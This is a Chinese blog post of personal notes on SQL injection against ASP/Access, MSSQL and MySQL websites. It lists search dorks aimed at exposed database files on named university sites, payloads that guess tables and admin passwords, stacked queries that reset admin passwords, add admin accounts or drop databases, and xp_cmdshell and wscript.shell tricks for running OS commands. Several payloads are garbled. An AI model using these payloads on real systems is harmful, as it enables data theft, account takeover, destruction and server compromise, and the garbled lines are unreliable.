码迷,mamicode.com
首页 > 数据库 > 详细

各类数据库注入笔记

时间:2016-04-23 21:18:28      阅读:395      评论:0      收藏:0      [点我收藏+]

标签:

ASP网站的后台数据库几乎全部是ACCESS和SQL Server
JSP环境应用最多的是利用JDK和Tomcat来搭建
site:xx.com inurl:php?id=

爆库一般是加上%5C 或者inc等一些符号让系统在调用数据库时出现错误 然后返回的数据中提示调用数据库出现错误
错误里面一般都含有数据库的绝对路径 92

conn.asp往往是ASP程序里包含数据库连接信息的文件

inurl:/inc+conn.asp
转到父目录
http://www.jegsworks.com/lessons/resources/databases%20resources/
intext:to parent directory+intext:mdb site:fudan.edu.cn 搜索网站数据库文件
intext:to parent directory+intext:conn.asp site:ujn.edu.cn


http://johnny.ihackstuff.com/  查看最新语句
被控制的服务器或者远程主机交换的数据都是通过80端口传递的
 
%5c 爆库 在该网站的最后一个\改成%5c   IIS
%23 代替# 下载数据库


几乎php都是和mysql组合


asp手工注入

and user>0 可以判断后台数据库类型
ACCESS 数据库下的手工注入  Microsoft JET Database Engine
and exists(select *from 表名)  或者 and exists(select count from 表名)   猜解表名
and exists(select 列名 from 表名)  或者 and exists(select count(列名) from 表名) 猜解列名
and (select top 1 len(列名) from 表名)>x x是数字 我们需要交换这个x就是列的长度值 猜解列的长度
猜解用户名和密码需要用到ASC和MID这两个函数  用Mid(列名,N,1) 函数截取第N位字符  再用ASC(Mid(列名,N,1)) 函数得到第N位字符的ASCLL码
and(select top 1 asc(mid(adminname,1,1)) from admin)>96


MSSQL +asp
and user>0 判断数据库名

爆任意表名和列名的方法  N代表第几个表
asp?id= and(select top 1 name from(select top N,id,name,from,sysobjects,where,xtype=char(85) T order by in desc)>1


爆出数据库中的数据    asp?id=xx and(select top 1 username from admin where id=1)>1 就可以猜解出admin表中username的第一条数据了
                                                 password
            
URL中参数是字符 asp?id=value‘ and 1=1 这样判断是否存在注入漏洞
在SQL注入中 如果在爆出管理员密码是经过MD5加密的 而我们又无法破解 这时候我们直接利用SQL注入 来修改数据库中的数据
直接把管理员密码改掉   相关语句  update 表名 set 列名 =‘内容‘ where 条件
例如 asp?id=xx; update admin set passw ord=‘123‘ where username=‘zyh‘
添加管理员   相关语句  insert into 表名 values(内容)--
例如 asp?id=xx;insert into admin values(账号,密码)
删除数据库drop database  数据库名字
查看数据库版本  and(select @@version)>0
and db_name()>0当前数据库名 
and user>0 来获得当前数据库用户名
sysobjects 是sqlserver 的

1 mssql扩展存储过程
mssql还有很多扩展功能 利用数据库的扩展存储过程(exec,master,xp_cmdshell) 来获得shell
asp?id=1;exec master ..xp_cmdshell ‘dir c:\‘ 执行之后我们就能看见C盘根目录下的的文件和文件夹了
在使用之前要判断他是否存在
and select count(*) from master.dbo.sysobjects where xtype=‘X‘ and name=‘xp_cmdshell‘ 正常则存在
如果不存在   使用   ;exec sp_addextendedproc xp_cmdshell, ‘xplog70.dll‘ 来恢复数据库的扩展存储过程
如果要删除过程      ;exec sp_dropextendedproc ‘xp_cmdshell‘

2 在MSSQL2000中 提供了一些函数用于访问一个叫做OLE对象 通过他可以访问OLE空间 间接的是我们获得一个shell
DECLARE @S INT
EXEC SP_OACREAT ‘wscript.shell‘,@s
exec master..SPOAMETHOD @s,‘run‘,null,‘cmd.exe/c   cmd 命令‘  上面两种方法必须是SA权限才能够执行

 

 


MySQL  在目前的数据库系统中 只有MySQL数据库库支持 /*注释
id=xx/*test 如果返回正常说明就是MySQL

在MySQL 4版本以上新增了一个联合查询 UNION的功能  比如 SQL语句1 UNION SQL语句2 提交之后 1 2 语句都会被执行
确定MySQL版本 
and ord(mid(version(),1,1))>51  正常则是4.0以上  51是ASC码3

要确定当前数据库的字段数目
1 UNION  限制 要求两个语句的字段数要相同
2 order by 数字  返回字段数  //字段是指数据表的列,记录是指数据表的行
and 1=2 union 语句 能爆出 这些数字的位置
知道字段数之后 我们可以利用union 查询来获得当前数据库的表名   union select 字段数 from 表名
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from admin 返回正常说明admin这个表名存在
显示的信息中 得到几个数字 2,3,4,5,6,7,8,9 这几个数字 例如我们要查看数据库版本 就用version()
只要将version() 替代任意一个数字 
and 1=2  union select 1,version,3,4,5,6,7,8,9,10,11,12,13 from admin 就会在2出现的位置出现版本
union select 1,username,3,4,5,6,7,8,9,10,11,12,13 from admin
union select 1,password,3,4,5,6,7,8,9,10,11,12,13 from admin    默认第一个人
有root权限的  可以使用load_file(路径的十六进制) 用法同上


union select 1,password,3,4,5,6,7,8,9,10,11,12,13 from admin where id=2 指定查询第二个人的密码

判断是不是root权限  and ord(mid(user(),1,1))=114
判断是否具有文件读写权限  and (select count(*)from MySQL.user)>0 技术分享

各类数据库注入笔记

标签:

原文地址:http://www.cnblogs.com/test404/p/5425496.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!